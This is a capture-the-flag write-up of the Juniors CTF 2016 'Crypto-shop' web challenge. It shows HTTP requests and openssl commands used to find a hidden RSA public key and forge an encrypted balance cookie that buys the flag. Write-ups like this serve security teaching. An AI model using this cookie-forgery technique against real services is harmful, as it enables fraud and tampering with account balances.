I played the Juniors CTF 2016 this weekend with some friends of mine and it was quite fun! Since we missed the registration deadline, I sneakily joined the Securimag team and played with them.
Among the different web challenges that we solved, @xarkes and I thought that Crypto-shop was one of the most interesting challs from the web category.
Crypto-shop
Accessing the web application, we are greated with a wonderful Russian web page:
Basically it says that the file we want to buy is worth 140.3
gravitycoins, that our wallet
is
32ca4862166b08c72787f4bf258cc2f09
and that our current balance is 0
gravitycoin. We supposed that we had to find a
way to buy a gravitycoin in order to get the flag.
Cooooookies
Using Burp, we see that when accessing the homepage:
GET /index.php HTTP/1.1 Host: 10.0.192.235:61741
Two cookies are generated:
HTTP/1.1 200 OK Date: Sat, 26 Nov 2016 19:50:51 GMT Server: Apache/2.2.22 (Debian) X-Powered-By: PHP/5.4.45-0+deb7u5 Set-Cookie: gravitycoin=ga8c%2B5oOnlS%2B26EiReR%2Bh3y4HV0ArWvxYgYESCn7BLSpvL8pIZRc2Bsdd6lnXu%2BNk7app4QgamoAkoqW4zJCQA%3D%3D; expires=Tue, 06-Dec-2016 19:50:51 GMT; path=/ Set-Cookie: wallet=7b693c3fef8c70db769a8c665cde55ca; expires=Tue, 06-Dec-2016 19:50:51 GMT; path=/ Vary: Accept-Encoding Content-Length: 2837 Connection: close Content-Type: text/html
The wallet
cookie is our wallet ID, shown on the home page but what is that gravitycoin
wallet? It's a base64
encoded value that doesn't decode to anything meaningful so we assumed that it was encrypted. Could it be some kind of
padding oracle attack?
When we modify one byte of the gravitycoin
value, the application says "Current balance: incorrect value" (translated
from Russian). Except from a reflected XSS in the wallet
cookie, we couldn't find anything helpful at that time.
RSA public key
Trying to find more information to work with, we found that the web application had a robots.txt
file:
GET /robots.txt HTTP/1.1 Host: 10.0.192.235:61741
Listing some potentially interesting files maybe?
HTTP/1.1 200 OK Date: Sat, 26 Nov 2016 18:11:42 GMT Server: Apache/2.2.22 (Debian) Last-Modified: Wed, 23 Nov 2016 13:27:38 GMT Accept-Ranges: bytes Content-Length: 79 Vary: Accept-Encoding Connection: close Content-Type: text/plain User-agent: * Disallow: /index.html Disallow: /index.php Disallow: /rsa.html
Let's check rsa.html
:
GET /rsa.html HTTP/1.1 Host: 10.0.192.235:61741
It might be what we are looking for:
HTTP/1.1 200 OK Date: Sat, 26 Nov 2016 18:11:45 GMT Server: Apache/2.2.22 (Debian) Last-Modified: Wed, 23 Nov 2016 13:27:38 GMT Accept-Ranges: bytes Content-Length: 303 Vary: Accept-Encoding Connection: close Content-Type: text/html <script type="text/javascript"> location.replace("http://10.0.192.235:61741/403.html"); </script> -----BEGIN PUBLIC KEY-----<br> MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAMUxrqFZ5appjJI7Yf8TDVpy3ITYzh9s<br> CTflAdameod0AtdQ5QCAVCpFi1ZLe5ZvwNwIlsEdTDEqfi2CH8Ylf9cCAwEAAQ==<br> -----END PUBLIC KEY-----
It contains a public RSA key, interesting. Oh Sneaky bastards! If you try to access the resource from your web browser,
you would be redirected to 403.html
, which tells you that the access is denied. Hopefully we didn't waste time on
that one since Burp doesn't care about the JavaScript.
RSA? What for?
Now that we got a RSA public key, what could we do with it? We thought that we could maybe factorize the key and
decrypt the gravitycoin
cookie value:
depierre$ openssl rsa -inform PEM -pubin -in key.pub -noout -text Public-Key: (512 bit) Modulus: 00:c5:31:ae:a1:59:e5:aa:69:8c:92:3b:61:ff:13: 0d:5a:72:dc:84:d8:ce:1f:6c:09:37:e5:01:d6:a6: 7a:87:74:02:d7:50:e5:00:80:54:2a:45:8b:56:4b: 7b:96:6f:c0:dc:08:96:c1:1d:4c:31:2a:7e:2d:82: 1f:c6:25:7f:d7 Exponent: 65537 (0x10001)
512bit? Hum, maybe it can be factorized after all... We used different tools such as Cryptool and YAFU but after running for a couple of hours, they still didn't yield any results so we gave up factorizing the key and moved on.
In brief:
- We have an encrypted cookie, likely containing information about our wallet and our balance
- A RSA public key
Encrypt your own
What if, instead of finding the private key to decrypt our cookie, we forge our own gravitycoin
cookie and encrypt it
using the public RSA key we found?
One problem is that we don't know the format of the cookie but maybe we could guess it? Afterall, there are not that many parameters: the md5 hash for the wallet and 0 (our balance).
Since you can't encrypt strings longer than 53 bytes with the short RSA public key we found, we brainstormed for a minute to come up with potential formats the cookie could use so we could bulk-generate and bulk-encrypt cookies. Below is an extract of the potential formats we came up with:
### Placeholders to replace later # w: wallet; W: md5 # g: gravitycoin; G: 0 ### w=W&g=G g=G&w=W w:W&g:G g:G&w:W ... {W:G} {G:W} ... 2|1:G|W 2|32:W|1:G 2|1:G|32:W ... G g:G g=G "g":G 'g':'G'
In total, we generated 75 different cookies and tried all of them using Burp:
And the winner format is.......... G
... We spent 30 minutes to come up with different formats and the correct one is
of course the simplest (and also one of the last one we guessed).
We then generated a gravitycoin
cookie with a value greater than 140.3:
depierre$ echo -n '200' | openssl rsautl -encrypt -pubin -inkey key.pub | base64 jfxAOXheApfGd+C2AWaEIZJc/Lh65W1GFlLYG3hgyT4oTFifE3nzsw9QDOsu7FPiASU/JQwRVX1K 0EayJ8gy1A==
And bought the sh*t out of that file!
POST /index.php HTTP/1.1 Host: 10.0.192.235:61741 Cookie: gravitycoin=jfxAOXheApfGd%2bC2AWaEIZJc/Lh65W1GFlLYG3hgyT4oTFifE3nzsw9QDOsu7FPiASU/JQwRVX1K0EayJ8gy1A%3d%3d; wallet=eb78b1c0d1d6259d5e1ac7f919ba8bba; Content-Length: 0
Granting us what we were looking for:
HTTP/1.1 200 OK Date: Sat, 26 Nov 2016 21:20:27 GMT Server: Apache/2.2.22 (Debian) X-Powered-By: PHP/5.4.45-0+deb7u5 Accept-Ranges: bytes Content-Length: 40 Content-Disposition: attachment; filename=b42e6n7o3f3f1c0m82oj3lg6zg5w7 Set-Cookie: gravitycoin=QeDhqsD5KMrWgiFT7WdWgyLsw1Wujhi8S3kAUZI03aSp33wlKvqcq8W5BCRQmmlcY7x%2F2998r%2BGejAmlUZf17w%3D%3D; expires=Tue, 06-Dec-2016 21:20:27 GMT; path=/ Connection: close Content-Type: application/octet-stream Stan_creator_6fsd%hjaB56_gravitycoins
Flag: Stan_creator_6fsd%hjaB56_gravitycoins
By the end of the CTF, we solved quite a lot of challenges and reached the 5th place :)